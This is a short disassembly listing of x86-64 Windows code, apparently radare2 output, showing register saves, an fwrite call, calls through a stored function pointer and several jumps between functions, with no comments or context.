mov edx, 1
mov r12, rax
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rcx, r12
add rsp, 0x38
pop r12
pop r13
jmp fcn.14000c6f8
push r13
push r12
sub rsp, 0x38
cmp qword [0x140022150], 0
jne 0x140004a61
add rsp, 0x38
pop r12
pop r13
jmp 0x140004a02
lea r13, [rsp + 0x20]
mov rdx, rcx
mov rcx, r13
call fcn.140004962
mov r12, qword [rsp + 0x28]
mov rcx, r13
call qword [0x140022150]
test r12, r12
je 0x140004a94
test byte [r12 + 7], 0x40
jne 0x140004a94
mov rcx, r12
call fcn.14000405f
lea rcx, [0x140019180]
call fcn.140006d20
cmp byte [rax], 0
je 0x140004ace
mov byte [rax], 0
lea rcx, [0x140019080]
call fcn.140006d20
xor r8d, r8d
mov rcx, rax
mov rax, qword [rax]
mov rdx, qword [rax + 0x38]
add rsp, 0x38
pop r12
pop r13
jmp fcn.1400049cb
add rsp, 0x38
pop r12
pop r13
ret